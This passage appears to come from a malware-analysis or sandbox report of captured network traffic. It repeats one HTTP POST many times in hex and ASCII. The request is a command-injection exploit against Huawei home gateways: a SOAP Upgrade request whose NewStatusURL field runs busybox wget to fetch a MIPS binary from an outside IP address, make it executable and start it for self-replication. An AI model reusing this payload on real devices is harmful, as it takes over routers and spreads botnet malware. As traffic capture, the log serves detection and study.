xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 